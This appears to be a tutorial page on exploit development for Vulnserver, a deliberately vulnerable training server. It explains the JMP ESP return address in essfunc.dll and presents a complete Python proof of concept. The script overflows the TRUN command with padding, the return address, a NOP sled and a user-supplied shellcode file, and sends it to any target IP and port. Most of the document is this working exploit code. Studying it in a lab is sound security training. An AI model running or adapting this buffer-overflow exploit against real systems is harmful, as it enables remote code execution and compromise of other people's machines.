Vulnserver v1.00 RCE Exploit Dev#

YouTube#

Exploit Overview#

x32dbg

In x32dbg, if you go to Symbols → essfunc.dll → EssentialFunc3 you’ll see code like the one above. Here, the instruction JMP ESP (located at 0x625011BB) is critical for control-flow hijacking. It transfers execution to the address held in the ESP (Extended Stack Pointer) register, which points to the top of the stack. By overwriting that location we can redirect execution to our mapped shellcode and ultimately run that shellcode.

PoC#

1
from argparse import ArgumentParser
2
from socket import *
3
import struct
4

5
def createPayload(shellcode_path: str):
6
    data = b"A" * 2006
7
    return_address = struct.pack("<L", 0x625011BB)
8
    nop_sled = b"\x90" * 50
9
    shellcode = b""
10

11
    with open(shellcode_path, "rb") as fp:
12
        shellcode = fp.read()
13
        fp.close()
14

15
    payload = b"TRUN \x2E"
16
    payload += data
17
    payload += return_address
18
    payload += nop_sled
19
    payload += shellcode
20

21
    return payload
22

23
def exploit(ip: str, port: int, shellcode_path: str):
24
    print("[~] Generating payload...")
25
    payload = createPayload(shellcode_path)
26
    print("[+] Payload generated")
27

28
    s = socket(AF_INET, SOCK_STREAM)
29
    print(f"[~] Connecting to the target: [{ip}]:{port}")
30
    s.connect((ip, port))
31

32
    print("[~] Waiting for a connection message...")
33
    conn_msg = s.recv(65535)
34
    print(f"[+] A connection message received: {conn_msg.decode()}")
35

36
    print("[~] Sending the payload...")
37
    s.send(payload)
38
    s.close()
39
    print("[+] Connection closed")
40

41
    print("[+] RCE Exploit Completed")
42

43
def main():
44
    parser = ArgumentParser(
45
        prog="Vulnserver v1.00 Exploit",
46
        description="TRUN command BOF RCE Vulnerability"
47
    )
48
    parser.add_argument(
49
        "-t", "--target",
50
        type=str,
51
        help="Set target IPv4 address",
52
        required=True
53
    )
54
    parser.add_argument(
55
        "-p", "--port",
56
        type=int,
57
        help="Set target port number",
58
        required=True
59
    )
60
    parser.add_argument(
61
        "-s", "--shellcode",
62
        type=str,
63
        help="Set shellcode file path",
64
        required=True
65
    )
66

67
    args = parser.parse_args()
68

69
    target_ip       = str(args.target)
70
    target_port     = int(args.port)
71
    shellcode_path  = str(args.shellcode)
72

73
    exploit(target_ip, target_port, shellcode_path)
74

75
if __name__ == "__main__":
76
    main()